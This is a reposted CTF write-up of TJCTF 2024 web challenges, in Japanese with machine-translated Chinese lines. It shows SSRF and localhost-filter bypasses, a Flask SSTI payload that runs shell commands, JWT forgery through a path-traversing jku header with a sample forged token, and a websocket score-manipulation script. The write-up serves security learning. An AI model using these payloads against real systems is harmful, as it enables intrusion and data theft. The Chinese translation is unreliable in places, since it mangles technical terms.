TJCTF 2024 Writeups

WriteUp 6个月前 admin
74 0 0

web/frog 网络/青蛙

ソースコード無し。ribbit ribbit ribbit :( robbit robbit robbit :(と言われる。息をするように/robots.txtにアクセスする。
没有源代码。 ribbit ribbit ribbit :( robbit robbit robbit :( 据说。 /robots.txt 就像你在呼吸一样访问。

User-agent: *
Disallow: /secret-frogger-78570618/

/secret-frogger-78570618/にアクセスすると大量のカエルアイコンが表示される。ソースコードを見ると、1つにだけリンクが張られている。/secret-frogger-78570618/flag-ed8f2331.txtにアクセスするとフラグ獲得。
/secret-frogger-78570618/ 访问时,会显示大量青蛙图标。 如果你看一下源代码,只有一个链接。 /secret-frogger-78570618/flag-ed8f2331.txt 访问标志时获得标志。

web/reader 网络/阅读器

ソースコード有り。flagの場所を確認しよう。  提供源代码。 让我们检查一下标志的位置。

@app.route("/monitor")
def monitor():
    if request.remote_addr in ("localhost", "127.0.0.1"):
        return render_template(
            "admin.html", message=flag, errors="".join(log) or "No recent errors"
        )
    else:
        return render_template("admin.html", message="Unauthorized access", errors="")

/monitorに内部からアクセスできればフラグが手に入る。サイトはSSRF出来そうなインターフェースをしているのでDockerfileでポート5000が開放されているのを参考にhttp://127.0.0.1:5000/monitorを入力するとフラグが得られる。
/monitor 如果你能从里面访问它,你就可以得到标志。 由于该站点的接口似乎是 SSRF,因此您可以通过输入引用 Dockerfile 中打开的端口 5000 来获取标志 http://127.0.0.1:5000/monitor 。

web/fetcher

ソースコード有り。フラグの場所を確認しよう。  提供源代码。 让我们检查标志的位置。

app.get('/flag', (req, res) => {
    if (req.ip !== '::ffff:127.0.0.1' && req.ip !== '::1' && req.ip !== '127.0.0.1')
        return res.send('bad ip');

    res.send(`hey myself! here's your flag: ${flag}`);
});

ipが内部IPであればフラグがもらえそう。内部に通信しそうな所を探すと以下。
如果 ip 是内部 IP,您将获得一个标志。 如果你寻找一个可能在里面交流的地方,它如下。

app.post('/fetch', async (req, res) => {
    const url = req.body.url;

    if (!/^https?:\/\//.test(url))
        return res.send('invalid url');

    try {
        const checkURL = new URL(url);

        if (checkURL.host.includes('localhost') || checkURL.host.includes('127.0.0.1'))
            return res.send('invalid url');
    } catch (e) {
        return res.send('invalid url');
    }

    const r = await fetch(url, { redirect: 'manual' });

    const fetched = await r.text();

    res.send(fetched);
});

与えられたURLをパースして、localhost127.0.0.1なら弾く。localhostを指していい感じにbypass出来そうなものを適当に探してくるとhttp://[::]:3000/flagでフラグが得られた。
解析给定的 URL 并播放 localhost 或 127.0.0.1。 当我指向 localhost 并寻找可以很好地绕过的东西时,我得到了 http://[::]:3000/flag 一个带有 .

web/templater 网络/模板

ソースコード有り。  提供源代码。

from flask import Flask, request, redirect
import re

app = Flask(__name__)

flag = open('flag.txt').read().strip()

template_keys = {
    'flag': flag,
    'title': 'my website',
    'content': 'Hello, {{name}}!',
    'name': 'player'
}

index_page = open('index.html').read()

@app.route('/')
def index_route():
    return index_page

@app.route('/add', methods=['POST'])
def add_template_key():
    key = request.form['key']
    value = request.form['value']
    template_keys[key] = value
    return redirect('/?msg=Key+added!')

@app.route('/template', methods=['POST'])
def template_route():
    s = request.form['template']
    
    s = template(s)

    if flag in s[0]:
        return 'No flag for you!', 403
    else:
        return s

def template(s):
    while True:
        m = re.match(r'.*({{.+?}}).*', s, re.DOTALL)
        if not m:
            break

        key = m.group(1)[2:-2]

        if key not in template_keys:
            return f'Key {key} not found!', 500

        s = s.replace(m.group(1), str(template_keys[key]))

    return s, 200

if __name__ == '__main__':
    app.run(port=5000)

ざっくり説明するとPOST /template{{key}}の形を手動で展開するテンプレートエンジンが動いていて、{{flag}}とするとフラグに変換してくれる。しかし、変換後のチェックでフラグが含まれているとNo flag for you!と言われるので、単純には取り出せない。…と、考えていると天啓が下りる。template関数の以下の部分を活用する。
粗略解释一下, POST /template 有一个 {{flag}} 模板引擎可以手动扩展 in {{key}} 的形式,并将其转换为标志。 但是, No flag for you! 据说该标志包含在转换后检查中,因此不能简单地检索。 … 就在我思考的时候,一个启示降临了。 使用模板函数的以下部分。

if key not in template_keys:
    return f'Key {key} not found!', 500

この応答はそのまま出力に変えるので、うまくここに入れることができれば外部に持って来ることができそうである。つまり、{{{{flag}}}}というのを送る。初回で{{flag}}が変換され、{{tjctf{hogehoge}}}のようになり、次のループでtjctf{hogehogeがkeyとして認識されるが、これは辞書にはないのでエラー応答になって帰ってくる。テンプレートエンジンのフォーマットの問題でうまく末尾の}が消えるので出力時フィルタリングも回避し、}が抜けたフラグが手に入る。
这个响应按原样转换为输出,所以如果你能把它放在这里,它似乎可以被带到外面。 换句话说,发送 {{{{flag}}}} 以下内容: 第一次 {{flag}} 被转换为 , {{tjctf{hogehoge}}} 在下一个循环 tjctf{hogehoge 中被识别为键,但由于它不在字典中,因此它返回并带有错误响应。 由于模板引擎的格式问题,尾随 } 很好地消失了,因此也避免了对输出的过滤,并且 } 您可以获得缺少的标志。

web/music-checkout 网络/音乐结账

ソースコード有り。読んでいくとSSTI脆弱性がある。不要な点を除いた関連部分を見てみると以下のようになる。
提供源代码。 正如我继续阅读的那样,存在一个 SSTI 漏洞。 如果查看排除不必要点的相关部分,则如下所示。

@app.route("/create_playlist", methods=["POST"])
def post_playlist():
    …
        username = request.form["username"]
    …
        filled = render_template("playlist.html", username=username, songs=text)
        this_id = str(uuid.uuid4())
        with open(f"templates/uploads/{this_id}.html", "w") as f:
            f.write(filled)
    …


@app.route("/view_playlist/<uuid:name>")
def view_playlist(name):
    name = str(name)
    …
        return render_template(f"uploads/{name}.html")
    …

playlist.htmlのusernameを見ると<p class="item">ORDER #0001 for {{ username|safe }}</p>となってsafeが付いているので邪魔もしない。ということでusernameに{{config}}を入れて表示させてみる。
如果您查看playlist.html的用户名,它将 <p class="item">ORDER #0001 for {{ username|safe }}</p> 是安全的,不会打扰您。 因此,让我们将其 {{config}} 放入用户名中并显示它。

ORDER #0001 for <Config {'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'SECRET_KEY': None, 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(days=31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': None, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': None, 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093}>

ok。いいですね。RCEしましょう。{{request.application.__globals__.__builtins__.__import__('os').popen('cat /app/flag.txt').read()}}をusernameにするとフラグが得られる。
还行。 这很好。 让我们来看看RCE。 {{request.application.__globals__.__builtins__.__import__('os').popen('cat /app/flag.txt').read()}} 如果将 username 设置为 username,则会收到一个标志。

web/topplecontainer

ソースコード有り。flagの場所を探すと以下にある。
提供源代码。 如果您查找旗帜的位置,可以在下面找到它。

@app.route("/flag")
@login_required()
def get_flag(user):
    if user["id"] == "admin":
        return flag
    else:
        return "admins only! shoo!"

GET /flagをadminユーザーで入れればフラグ。ログイン管理はJWTでやっていて以下のように検証している。
GET /flag 标记,如果您以管理员用户身份输入。 登录管理由智威汤逊完成,验证如下。

def verify_token(token):
    try:
        header = jwt.get_unverified_header(token)
        jku = header["jku"]
        with open(f"static/{jku}", "r") as f:
            keys = json.load(f)["keys"]
        kid = header["kid"]
        for key in keys:
            if key["kid"] == kid:
                public_key = jwt.algorithms.ECAlgorithm.from_jwk(key)
                payload = jwt.decode(token.encode(), public_key, algorithms=["ES256"])
                return payload
    except Exception:
        pass
    return None

jkuを使っていますね。任意のファイルがアップロードできれば検証を通過させられそう…と思っているとアップロードポイントがある。
您正在使用 JKU。 如果可以上传任何文件,它似乎通过了验证…… 如果你考虑一下,有一个上传点。

@app.route("/upload", methods=["POST"])
@login_required()
def post_upload(user):
    if "file" not in request.files:
        return redirect(request.url + "?err=No+file+provided")
    file = request.files["file"]
    if file.filename == "":
        return redirect("/?err=Attached+file+has+no+name")
    if file:
        uid = user["id"]
        fid = str(uuid.uuid4())
        folder = os.path.join(os.getcwd(), f"uploads/{uid}")
        os.makedirs(folder, exist_ok=True)
        file.save(os.path.join(folder, fid))
        f = File(fid, file.filename, file.mimetype)
        if uid not in user_files:
            user_files[uid] = {}
        user_files[uid][fid] = f
    return redirect(f"/?success=Successfully+uploaded+file&path={uid}/{fid}")

ということで、アップロードして、それを参照させることで検証を通過させてみましょう。ECのキーペアを作成し、秘密鍵をPEM形式で、公開鍵はJWK形式で出力させます。ChatGPTが数秒で吐いてきたものが以下です。
因此,让我们通过上传并引用它来通过验证。 创建一个 EC 密钥对,并以 PEM 格式输出私钥,以 JWK 格式输出公钥。 这是 ChatGPT 在几秒钟内吐出的内容。

from cryptography.hazmat.primitives.asymmetric import ec
from cryptography.hazmat.primitives import serialization
from jwcrypto import jwk

# EC鍵ペアを生成
private_key = ec.generate_private_key(ec.SECP256R1())

# 秘密鍵をPEM形式でシリアライズ
private_pem = private_key.private_bytes(
    encoding=serialization.Encoding.PEM,
    format=serialization.PrivateFormat.TraditionalOpenSSL,
    encryption_algorithm=serialization.NoEncryption()
)
with open("ec_private_key.pem", "w") as private_file:
    private_file.write(private_pem.decode())

# 公開鍵をPEM形式でシリアライズ
public_key = private_key.public_key()
public_pem = public_key.public_bytes(
    encoding=serialization.Encoding.PEM,
    format=serialization.PublicFormat.SubjectPublicKeyInfo
)

# JWK形式に変換
jwk_public = jwk.JWK.from_pem(public_pem)

# JWK形式の鍵をファイルに保存
with open("ec_public_key.jwk", "w") as public_file:
    public_file.write(jwk_public.export())

print("鍵ペアをJWK形式でファイルに保存しました。")

ok.あとは、以下の手順でフラグが得られる。 之后,您可以按照以下步骤获取标志:

  1. 以下のような形でkey.jsonを用意してアップロードする
    钥匙。 准备 JSON 并上传
{
    "keys": [
        <<< ここにec_public_key.jwk >>>
    ]
}
  1. jwt.ioとかで以下のようなJWTトークン作成
    创建一个 JWT 令牌,如 jwt.io 中的令牌
header
{
  "alg": "ES256",
  "jku": "../uploads/0d251448-ac71-4a1d-b702-136b1f2ad17d/bda5c410-5232-445f-8c1a-ff3a4b88a0ea", ← upload先
  "kid": "3mSwZOST2mdZvksPveW0VVzIkq0C0sEHwlxC3OhR4LE", ← 生成したキーペアのkid
  "typ": "JWT"
}

payload
{
  "id": "admin"
}
  1. 以下のようにGET /flagする  GET /flag 执行以下操作
GET /flag HTTP/2
Host: topplecontainer.tjc.tf
Cookie: token=eyJhbGciOiJFUzI1NiIsImprdSI6Ii4uL3VwbG9hZHMvMGQyNTE0NDgtYWM3MS00YTFkLWI3MDItMTM2YjFmMmFkMTdkL2JkYTVjNDEwLTUyMzItNDQ1Zi04YzFhLWZmM2E0Yjg4YTBlYSIsImtpZCI6IjNtU3daT1NUMm1kWnZrc1B2ZVcwVlZ6SWtxMEMwc0VId2x4QzNPaFI0TEUiLCJ0eXAiOiJKV1QifQ.eyJpZCI6ImFkbWluIn0._k6T_FenUSRVYQ2g4Fu0lBUo8sNZXOtwtPRQdLTtKcjtu9Ye-89qxcZSAAW3Lkm9u1fMDkecCGoLDSBE6HLurQ

web/kaboot 网络/kaboot

ソースコード有り。Kahoot!のようなサイトが与えられる。フラグは以下にある。f'omg congrats, swiftie!!! {flag}' if get_score(scores, room_id, data['id']) >= 1000 * len(kahoot['questions']) else 'sucks to suck brooooooooo'にあるようにスコアが特定以上だともらえるようだ。
提供源代码。 Sites such as Kahoot! 标志如下: f'omg congrats, swiftie!!! {flag}' if get_score(scores, room_id, data['id']) >= 1000 * len(kahoot['questions']) else 'sucks to suck brooooooooo' 如果分数高于一定水平,似乎可以得到它。

@sock.route('/room/<room_id>')
def room_sock(sock, room_id):
    sock.send(b64encode(kahoot['name'].encode()))
    scores = get_room_scores(room_id)
    for i, q in enumerate(kahoot['questions']):
        sock.send(b64encode(json.dumps({
            'send_time': time(),
            'scores': scores,
            **q,
        }).encode()))

        data = sock.receive()
        data = json.loads(b64decode(data).decode())

        send_time = data['send_time']
        recv_time = time()

        if (scores := get_room_scores(room_id)) is not None and send_time >= time():
            sock.send(b64encode(json.dumps({
                'scores': scores,
                'end': True,
                'message': '???'
            }).encode()))
            return

        if i == 0:
            edit_score(scores, room_id, data['id'], 0)

        if data['answer'] == q['answer']:
            edit_score(scores,
                       room_id,
                       data['id'],
                       get_score(scores, room_id, data['id']) + 1000 + max((send_time - recv_time) * 50, -500))

    sock.send(b64encode(json.dumps({
        'scores': scores,
        'end': True,
        'message': f'omg congrats, swiftie!!! {flag}' if get_score(scores, room_id, data['id']) >= 1000 * len(kahoot['questions']) else 'sucks to suck brooooooooo'
    }).encode()))

ソースコードを読んでもいいのですが、動かしてみるとwebsocket経由で
你可以阅读源代码,但如果你尝试移动它,你会得到

{"send_time": 1716177131.8692849, "scores": [], "question": "what is the best taylor swift song?", "answers": ["cruel summer", "daylight (stosp's version)", "all too well (10 minute version)", "all too well (5 minute version)"], "answer": 1}

このように、answerが帰ってきていたり、その応答として
这样,答案就会回来,或者作为回应

{"id":"cfa6030d-6c73-c262-b872-b37e2c045dd3","answer":0,"send_time":1716177131.8692849}

というのを返す。最初、send_timeを未来のものにすればいいかとも思ったがif (scores := get_room_scores(room_id)) is not None and send_time >= time():で対策がされている。解法は、同じセッションでゲームをやり直すこと。この解法は以下の処理でブロックされているように見える。
我会归还的。 起初,我认为应该在未来制定send_time,但 if (scores := get_room_scores(room_id)) is not None and send_time >= time(): 已经采取了对策。 解决方案是在同一会话中重玩游戏。 此解决方案似乎被以下进程阻止。

if i == 0:
    edit_score(scores, room_id, data['id'], 0)

ここで、第三引数がdataから持ってきている所に違和感がある。dataはdata = sock.receive()にあるようにwebsocket経由で受け取ったものなので、外部から差し込み可能になっている。つまり、この初期化処理を別のidに対して行うことで初期化処理を回避できるのではないかという仮説が立ち、ソースを読んでみると実現可能であることが分かる。
在这里,第三个论点来自数据这一事实有一种不协调的感觉。 由于数据是通过 WebSocket 接收的,如 data = sock.receive() 所示,因此可以从外部插入。 换句话说,假设可以通过对另一个 ID 执行此初始化过程来避免初始化过程,并且可以通过读取源代码看出它是可行的。

def edit_score(scores, room_id, uid, new_score):
    for i, score_data in enumerate(scores):
        if score_data[1] == uid:
            scores[i][2] = new_score
            return scores

    all_scores.append([room_id, uid, new_score])
    scores.append(all_scores[-1])
    return scores


def get_score(scores, room_id, uid):
    for score_data in scores:
        if score_data[0] == room_id and score_data[1] == uid:
            return score_data[2]

    return 0

…

edit_score(scores,
            room_id,
            data['id'],
            get_score(scores, room_id, data['id']) + 1000 + max((send_time - recv_time) * 50, -500))

更新処理はこのような感じ。get_scoreで取得して、edit_scoreで取得している。room_idとuidで取得はしているが特に問題番号での重複確認とかは無く、取得して足して入れているだけ。ok. つまり、以下のような手順でやってやれば、2週目でも点数が合算されてフラグが手に入る。
更新过程如下所示。 被get_score收购,被edit_score收购。 虽然它是通过room_id和uid获得的,但没有通过问题编号特别确认重复,只是获取和添加。 还行。 换句话说,如果您按照以下步骤操作,您的积分将累积起来,即使在第二周,您也会得到一个标志。

  1. user1で1週クリアする(答えが問題文提供時に一緒に送られてくるので全問正解できる。自動化してもフラグ獲得までには届かない
    使用 user1 清除一周(提供问题文本后,答案将一起发送,因此您可以正确回答所有问题。 即使它是自动化的,它也不会达到获取标志的地步。
  2. 2週目の1問目だけuser2にして答える。 {'id': 'user2', 'answer': resp'answer', 'send_time': 'send_time'} みたいにする
    以 user2 的身份仅回答第二周的第一个问题。 {'id': 'user2', 'answer': resp'answer', 'send_time': 'send_time'} 喜欢
  3. 他の問題はuser1でクリアする 清除 user1 的其他问题

以下、上記の処理を自動化したもの(簡略化のため、1週目の1問目もuser2にしているが、そこは気にせず読んで下さい)。応答にフラグが出てくる。
以下是上述过程的自动化版本(为了简单起见,第一周的第一个问题也是user2,但请不要担心)。 响应中会出现一个标志。

import asyncio, websockets, binascii, random, string, json
from base64 import b64decode, b64encode

async def solve():
    #uri = "ws://localhost:4444"
    uri = 'wss://kaboot-b7598a0831b4faf3.tjc.tf'
    room_id = "".join(random.choices(string.ascii_letters, k=8))

    for _ in range(2):
        async with websockets.connect(uri + '/room/' + room_id) as websocket:
            resp = await websocket.recv()

            for i in range(10):
                resp = await websocket.recv()
                resp = json.loads(b64decode(resp).decode())

                print(resp)

                if 'end' in resp:
                    break

                await websocket.send(b64encode(json.dumps({
                    'id': 'user2' if i == 0 else 'user1',
                    'answer': resp['answer'],
                    'send_time': resp['send_time'],
                }).encode()))

            resp = await websocket.recv()
            resp = json.loads(b64decode(resp).decode())

            print(resp)
        
asyncio.get_event_loop().run_until_complete(solve())

原文始发于はまやんはまやんはまやん:TJCTF 2024 Writeups

版权声明:admin 发表于 2024年5月21日 上午9:15。
转载请注明:TJCTF 2024 Writeups | CTF导航

相关文章